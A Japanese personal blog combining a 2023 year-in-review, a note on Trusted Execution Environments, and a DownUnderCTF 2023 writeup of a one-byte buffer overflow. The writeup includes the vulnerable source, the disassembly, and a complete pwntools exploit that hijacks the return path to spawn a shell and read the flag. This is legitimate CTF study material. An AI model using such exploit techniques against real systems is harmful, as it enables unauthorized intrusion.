2023振り返り
各地から1年を振り返れハラスメントを受け、屈したので書きます。あとで思い出したら追加されていく予定ですが、どこまで思い出せるか分かりません。
1月, 2月, 3月
あんま覚えてないけど卒論書いてたはず。人生で初めて金髪にした。石垣島行って楽しかった。
4月
大学院に入った。
5月
DEFCONにteam enuで参加した。何もできなくて悔しかった記憶。インターン先の人とかWaniの人とか、yu1hpaさんに会えて楽しかった。
6月
生きてた
7月
生きてた
8月
短期インターン頑張ってた。お世話になりました... webちょっとわかった。
9月
引き続きちょっとインターン参加させてもらってた。何もできずに東京まで椅子を温めに来た人になりかけたが、メンターの人のおかげで成果っぽい何かが生成された。実力不足でごめんなさい...
初めてWani Hackaseで白浜合宿に行ってとても楽しかった。hi120kiさんのQilingの資料、相当参考にさせてもらっているけど、あれ一般公開しないんだろうか
10月
研究テーマ錬成してた。
11月
研究テーマ錬成してた。
水泳で大会に出て、しっかりタイムを落とした。来年は自己ベスト出します。
12月
研究テーマ錬成してた。
1年通しての感想
- 研究室が優秀な人多くて、議論で滅茶苦茶ボコボコにされた。ボコボコにされすぎて初めて論理的思考というものの輪郭がわかった気がする。
- 研究室にスマブラ過激派が多くて滅茶苦茶ボコボコにされた。ボコボコにされすぎてちょっと上手くなってしまった。
- 卒業したのに水泳部の人にめちゃめちゃ遊んでもらった。来年もお願いします(?)
- インターンで関わった人達、Waniの人、昔の同期、奈良の鹿、隣の部屋でカレーパーティを日夜開催する中国人、その他様々なものに沢山の刺激、モチベーションをもらった。来年は結果で返します。
来年の目標
1年があまりにも薄味すぎたので、来年の目標を決めておきます。達成できるといいね。学生最後の年なのでもうちょっと成長したいね。
pwnを究める
GBエミュレータを作る
論文を国内1本、国際1本
TOEIC800
水泳自己ベスト
やるべきことをやる。シングルタスクをできるようになる。
TEE(Trusted Execution Environment)
1日1個技術の備忘録書くことにした。毎日継続とは言っていない。
適当な概要と参考文献をマストで入れる。目標は手動かして感想書く。
TEE(Trusted Execution Environment)とは
cpuにroot of trustを置いた、機密性が保証された隔離実行環境。簡単に言うとOS特権等の強い権限を使っても操作できない隔離されたメモリ領域を提供するcpuの機能。PCやスマホのrootを取ったとしても、TEE内で処理される情報は盗めないということである。詳しい技術の話は参考文献先に当たってほしい。
アーキテクチャごとの違い
CPUアーキテクチャの有名どころだと大体TEEに対応している。X86-64とかX86系だとIntelはIntel SGX(以下SGX), AMDだとAMD SEVが実装されている。ARMはARM TrustZone(以下TrustZone)、RISC-VはKeyStoneが該当する。
どこで使われているか
TrustZoneはAndroidだとDRM(デジタル著作権管理)フレームワークとかAndroid KeyStoreなんかがあり、他にもiphone、MチップMacとかswitchとか、結構いろんなところで使われている。SGXはBlue layのDRMに使われていたが、しれっと11世代のコアからXeon以外では廃止されている。この影響でIntel CPUでは11世代以降Blue layの再生ができなくなっている。Xeonだけに残しといて何に使うねんと思っていたが、AzureでSGX対応したコンテナのサービスが提供されているからこれに使っているっぽい。病院とか金融系みたいな機密情報ありすぎてクラウド使いづらい企業には確かに必要だよなーと思う。
試したい場合
TEEを使ってみたいだけならインターネットに転がっている情報の豊富さからSGXがおすすめ(って先輩が言ってた)。7~10世代ぐらいまでのIntel NUCの中古とかを1万円台くらいで買って、aosさんのseccampの神資料を見ながらやるのが一番楽しいんだろうなと思う。TrustZoneのOSS実装であるOP-TEEを使うとraspberry pi modelBに実機実装できるが、あんまり参考資料が無いからおすすめしない。ちなみにOP-TEEはqemuを使って仮想環境でも試せる。Intel SGXもdeveloper用のエミュレーション環境があると聞いたことがあるが、見つけられなかった。
まとめ
年末年始使ってみようかなー。
参考とするとよい文献
TEEの概略を知るのによい
- 【技術】TEE(Trusted Execution Environment)とは?
- TEE(Trusted Execution Environment)とそれを支える技術 - 暗号プラットフォーム研究チーム | サイバーフィジカルセキュリティ研究センター
- https://www.intec.co.jp/company/itj/itj17/contents/itj17_54-61.pdf
aosさんのSGX解説の神資料
TrustZoneのアーキテクチャ解説
TrustZoneを攻撃したい方はこちら
mwscup出た
mws cup2023に参加して静的解析部門優勝しました
が、弱すぎてお茶汲みどころかチームメンバーの足を引っ張るという快挙を達成し、大変反省するところの多い結果だな〜という感想です
なのでrev(enge)やります。知らんけど。
DownUnderCTF 2023 writeup
ductfが終わった後に1問だけ解いたので適当writeup
one byte[189 solves]
問題概要
渡されるソースコードと実行ファイルに設定されている防御機構は以下
#include <stdio.h> #include <unistd.h> #include <stdlib.h> void init() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); } void win() { system("/bin/sh"); } int main() { init(); printf("Free junk: 0x%lx\n", init); printf("Your turn: "); char buf[0x10]; read(0, buf, 0x11); }
checksec結果
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
32bitマシンですね。canaryだけついていないっぽい。ソースコードを見る限り実行すると謎にinitのアドレスをリークしてくれますね
Here's a one byte buffer overflow!
と問題文にある通り、readに渡されているbufは0x10(=16)文字が格納できますが、readで0x11(=17)文字書き込めてしまうので1バイトのbuffer overflow(bof)が狙えますね。1バイトしか溢れなかったらebpの書き換えしかできないじゃん~意味ないじゃん~と思う所ですが、ctfなので一旦どこの1バイトを書き換えられるのか確認してみます。
bofの書き込み場所
取り敢えずアセンブラを読みます。gdbでdisassemble main
とかしたら読めます。ちなみにgdbで実行ファイルの解析を始めるときはgdb -q <実行ファイル名>
で行けます
0x0000122e <+0>: lea ecx,[esp+0x4] 0x00001232 <+4>: and esp,0xfffffff0 0x00001235 <+7>: push DWORD PTR [ecx-0x4] 0x00001238 <+10>: push ebp 0x00001239 <+11>: mov ebp,esp 0x0000123b <+13>: push ebx 0x0000123c <+14>: push ecx 0x0000123d <+15>: sub esp,0x10 0x00001240 <+18>: call 0x10c0 <__x86.get_pc_thunk.bx> 0x00001245 <+23>: add ebx,0x2daf 0x0000124b <+29>: call 0x11bd <init> 0x00001250 <+34>: sub esp,0x8 0x00001253 <+37>: lea eax,[ebx-0x2e37] 0x00001259 <+43>: push eax 0x0000125a <+44>: lea eax,[ebx-0x1fe4] 0x00001260 <+50>: push eax 0x00001261 <+51>: call 0x1060 <printf@plt> 0x00001266 <+56>: add esp,0x10 0x00001269 <+59>: sub esp,0xc 0x0000126c <+62>: lea eax,[ebx-0x1fd2] 0x00001272 <+68>: push eax 0x00001273 <+69>: call 0x1060 <printf@plt> 0x00001278 <+74>: add esp,0x10 0x0000127b <+77>: sub esp,0x4 0x0000127e <+80>: push 0x11 0x00001280 <+82>: lea eax,[ebp-0x18] 0x00001283 <+85>: push eax 0x00001284 <+86>: push 0x0 0x00001286 <+88>: call 0x1050 <read@plt> 0x0000128b <+93>: add esp,0x10 0x0000128e <+96>: mov eax,0x0 0x00001293 <+101>: lea esp,[ebp-0x8] 0x00001296 <+104>: pop ecx 0x00001297 <+105>: pop ebx 0x00001298 <+106>: pop ebp 0x00001299 <+107>: lea esp,[ecx-0x4] 0x0000129c <+110>: ret
ぱっと見(実はよく考えましたが)関数の起動処理と終了処理が64bitマシンと違う気がしますね*1。抜き出すと以下の部分です。
起動処理
0x0000122e <+0>: lea ecx,[esp+0x4] 0x00001232 <+4>: and esp,0xfffffff0 0x00001235 <+7>: push DWORD PTR [ecx-0x4] 0x00001238 <+10>: push ebp 0x00001239 <+11>: mov ebp,esp 0x0000123b <+13>: push ebx 0x0000123c <+14>: push ecx 0x0000123d <+15>: sub esp,0x10
終了処理
0x0000128b <+93>: add esp,0x10 0x0000128e <+96>: mov eax,0x0 0x00001293 <+101>: lea esp,[ebp-0x8] 0x00001296 <+104>: pop ecx 0x00001297 <+105>: pop ebx 0x00001298 <+106>: pop ebp 0x00001299 <+107>: lea esp,[ecx-0x4] 0x0000129c <+110>: ret
普通64bitマシンだと呼び出し元のrbpをpopしてから新たな関数のベースポインタに移動(mov rbp rsp)させて、rspを使う領域分よしなにsubするだけだと思うんですが、なんかやたら処理が多いですね。起動処理時に確保されるスタックを書き出してみるとこんな感じになります。0x20はrbp-0x20のアドレスを指します。
- 0x20:
- 0x1c:
- 0x18:
- 0x14:
- 0x10: ecx
- 0x0c: ebx
- 0x08: ebp
- 0x04: ecx-0x4のポインタ
0x20-0x14は、起動時にはbuf用の領域が確保されているだけなので何も書いていません。この特殊なスタックの積まれ方だと、bofしたときに書き換えられるのはecxの下位1バイトだということがわかります。つまりecx=0xffffd130が元の値だった場合、0x11(=17)回aを書き込むとこんな感じになります
- 0x20: aaaa
- 0x1c: aaaa
- 0x18: aaaa
- 0x14: aaaa
- 0x10: 0xffffd161
- 0x0c: ebx
- 0x08: ebp
- 0x04: ecx-0x4のポインタ
0x61がasciiの場合aにあたるので、ecxの末尾が61に書き換えられています。このスタックの状態を仮定して終了処理を順番に0x1293<+101>から追っていくと次のようになります。
- espの値をebp-0x8のポインタに変更する。つまり0x10を指す。
- ecxをpop。この時入る値は0x10に格納されている値(0xffffd161)
- ebxをpop。この時入る値は0x0cに入っている値
- ebpをpop。この時入る値は0x08に入っている値
- espの値をecx-0x4のポインタに変更する。つまり0xffffd161 - 0x4 = 0xffffd15d
- ret命令でespに格納されているアドレスの値(0xffffd15d)にjmp
5,6の処理に着目すると、bofによってecxの値が書き換わることで、最終的に関数終了時のretで遷移する先が変わってしまっているのがわかります。つまりbofによってreturnアドレスを変更できることがわかりました。
解法
ここまでで大体exploitの材料は揃ったので、どうやって攻撃するか考えます。ecx-0x4に格納される値をwinのアドレスに変更できればいいわけなので、入力でwinのアドレスを与えておいて、ecx-0x4がちょうどそのスタックを指すように調整してやればよさそうです。ただ今回はアドレスの値が毎回変わる*2ので、下位1バイトを適当な値に固定し、そのうち都合いい感じにアドレスが書き換わることを期待してwhileを回すようにしました。*3
#!/usr/bin/env python3 from pwn import * exe = ELF("./onebyte_patched") context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else: r = remote("2023.ductf.dev", 30018) return r def main(): while(1): r = conn() dist = 0x1203 - 0x11bd # winとinitのアドレスの差を計算 r.recvuntil(b"Free junk: ") address_init = int(r.recvline().decode(), 0) # initのアドレスを取得 address_win = address_init + dist # winのアドレスを計算 info(f'win() address: {hex(address_init)}') payload = p32(address_win) * 4 + b"L" # bofで書き換える値は4の倍数なら何でも。 r.sendlineafter(b"Your turn: ", payload) try: r.sendline(b"cat flag.txt") log.info(r.recvline()) r.interactive() break except: r.close() if __name__ == "__main__": main()
実行したら以下の文字列が見えます
DUCTF{all_1t_t4k3s_is_0n3!}
わーい
ブログ作った
日々の日記とか技術的なこととか
すぐ忘れるので書き残しておく